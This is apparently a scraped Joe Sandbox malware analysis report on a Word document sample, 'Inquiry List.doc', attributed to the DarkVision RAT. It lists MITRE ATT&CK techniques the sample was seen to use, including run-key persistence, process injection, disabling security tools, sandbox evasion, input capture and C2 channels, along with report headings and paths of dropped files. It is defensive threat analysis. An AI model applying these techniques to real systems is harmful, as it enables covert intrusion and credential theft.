Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Inquiry List.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: DarkVision Rat

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\windows\windows.exe

C:\ProgramData\{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}\{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}.bat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_121aja2k.5sm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45uinjb0.ho2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_il3lycnn.plz.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jmqdympz.wye.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxks3ist.wby.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_psuokzhf.za0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q1zn2iqi.xsn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vkv45rss.ifz.psm1

Windows Analysis Report
Inquiry List.doc

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre